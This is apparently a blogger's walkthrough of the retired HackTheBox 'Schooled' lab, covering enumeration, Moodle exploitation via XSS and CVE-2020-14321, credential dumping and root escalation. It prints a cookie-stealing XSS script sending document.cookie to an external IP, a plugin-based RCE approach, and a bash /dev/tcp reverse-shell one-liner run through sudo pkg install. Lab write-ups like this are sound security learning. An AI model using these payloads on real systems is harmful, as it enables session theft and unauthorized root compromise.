HackTheBox - Schooled

As of today the Schooled box on Hack the Box has been retired so I can finally publish this walk through, which will also be the first one I have ever done for a box.

I haven't done too many medium boxes yet so this one was challenging for me and a bit frustrating at times too.

Enumeration

NMAP

Like any box I start with a quick nmap scan to see what ports are open and available. My inital scan just checks all tcp ports with a syn connection.

$nmap -p- -sS -oG tcp_all_ports 10.10.10.234

Since I know that 80/tcp is open and running a webserver let's start there. The site loads and at this point I manually enumerate, clicking on all the links and quickly checking to see what other resources are hit.

GoBuster

I couldn't find anything with my enumeration so I went to my go to scan too gobuster to see if there were any files or folders that were not immediately available on the site.

$gobuster dir -u http://10.10.10.234 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100

The scans came back with nothing, one thing I did note during my manual enumeration was there was a domain name in the footer. Let's add this to my /etc/hosts and see if there's a vhost for the domain name on the server.

Adding the record to my hosts file didn't change anything, but maybe there's a subdomain vhost available to target. There's a reason I like to use gobuster, we can scan for vhosts too!

$gobuster vhost -u http://schooled.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -t 100

Success!

I added the subdomain to my /etc/hosts file and open my browser to the site. I get a basic moodle installation with both guest account and account creation enabled.

Moodle

Let's skip the guest account and just create a new account. Attempting to create a fake student account it want's an email address from the organizations domain (student.schooled.htb), so I changed it to match that and Moodle did not require an email confirmation of the account. So I now had authenticated access as a student.

As a student account, it is severely restricted, I can enroll or participate in classes and that is it. There is how ever a class that allows for self-enrollment so let's enroll and check it out.

So I know there's an XSS entry point and I know that the teacher will be checking the user profiles for this entry. Let's craft a request to send the teacher's cookies to me when they visit.

<script>image = new Image(); image.src = 'http://10.10.14.30:8888/?'+document.cookie;</script>

We can then start a netcat listener and wait.....

We have the teacher's cookie, let's use it in our session to authenticate as them.

Foothold

So as the teacher we have more privileges but still not full administrator access to Moodle. Doing some research I found CVE-2020-14321, which will allow a teacher to privilege escalate to a "manager" from there we can gain RCE and a shell.

The steps to escalate to manager, as taken from https://github.com/HoangKien1020/CVE-2020-14321 :

1. Start to manually enroll a user who has manager privilege to your class.
2. Intercept the enrollment GET request and change the values to your teacher ID and the role to the manager role id, which is 1.
3. Log in as user
4. Modify the Manager role definition to allow plugin install

Going to the Profile link as the teacher will provide us with the id for the teacher

We can then go to the Participants in the class and click enroll.

Go ahead an preselect Lianne Carter and then turn on Burp and intercept the request that is sent when you click "Enrol users"

Update the values highlighted below to 24 and 1.

We do need to let the original request do through at least once too to enrol Lianne to the class. When we do, she we can click on her user account in the list of participants. This profile will have an "Log in as" option we can use to escalate our privilege to administrator.

We can then access the administrator panel from the left panel.

In the Site administration we want to go to the "Users" and "Define Roles"

We want to manage the "Manager" role, so click on it.

And then click on "Edit"

In this area, if you scroll down you'll find a "Filter" search box, type "site con" and the long list of settings will shrink. This is the only permission we need to grant to our user to take advantage of the Plugin Install which we will use to upload our RCE exploit.

Click Save and then return to the main Site Administration page

Now we want to focus on the plugin and install plugins option.

Plugin Install

A Moodle plugin is just a zip file with a simple folder structure, in this situation we can just use the block plugin type. The block_shell.php file is similar to the one found within the rce.zip from Hoang Kien in the link above. I added an additional file to run a reverse shell automatically because I had trouble getting one with the other.

Adding the plugin to install is straight forward, however make note of the directory the plugin is written to.

We can then execute the files from our browser and have it connect to a waiting netcat session.

User

We have a reverse shell but it sucks, python doesn't run, but the $PATH is limited so let's search.

find is all powerful, since this is a FreeBSD box we can use -perm +111 to search for executable files.

We have python so we can get a better shell going on.

/usr/local/bin/python3 -c 'import pty;pty.spawn("/bin/bash")'

With our foothold in place we can begin to enumerate for the user. Let's find out what local users we have. There are two: jamie and steve.

Remember that port 33060 that was open, that means there's a mysql server running, let's see if we can find some configuration files for it with Moodle. The config file is in the Moodle root directory and called config.php

Ok we have a database name, username and password for mysql, let's try to query it from our reverse shell.

Like python, mysql isn't in our PATH so let's search for it.

During my original attack on this box it was now when I realized I could also search for python and get a better shell since I had to search for mysql.

Once we're connected to the DB let's enumerate. Let's find out what tables there are, from there we found a user table what columns of data are there. Ok let's select the columns we're interested in.

SHOW TABLES;
DESCRIBE mdl_user;
SELECT username, password, firstname, lastname FROM mdl_user;

Ok we have some user hashes, perfect. We know that jamie is one of the local users on this box and he also has password hash here for Moodle. Let's see if we can crack it.

Password was cracked, we can now ssh directly to the box as Jamie and get the user.txt flag.

Root

Starting to enumerate for root priv escalation I usually always run sudo -l to see what is available first, it's usually the easiest way to root if there's a NOPSSWD option for sudo.

We know we can run /usr/share/pkg install with sudo can we exploit it, checking gtfobins we can.

In this case, I don't want to execute 'id' but I will execute another reverse shell. The reason I need to execute another reverse shell is while I was attempting to get a shell I figured out why my earlier attempts had also failed with the PHP script. There is a security policy that blocks it.

So I just bypass it with another reverse connection which will get executed in the context of root while using the sudo pkg install option.

echo "id; bash -c 'exec bash -i &> /dev/tcp/10.10.14.30/4445 <&1'" > $TF/x.sh

Once we run the pkg install we will get a connection and have root access.

Conclusion

The amount of enumeration and steps needed to get to a full system own was incredible. Out of the boxes I've rooted so far this one felt like a real production box, including the XSS needed to elevate from student to teacher.

I'm not sure how many hours I put into this one, it was certainly above normal. I admittedly did go down several wrong paths early on with enumeration. The idea of enumerating the vhosts didn't occur to me at first I got a hint from the HackTheBox Official Discussion about the other things that GoBuster could enumerate.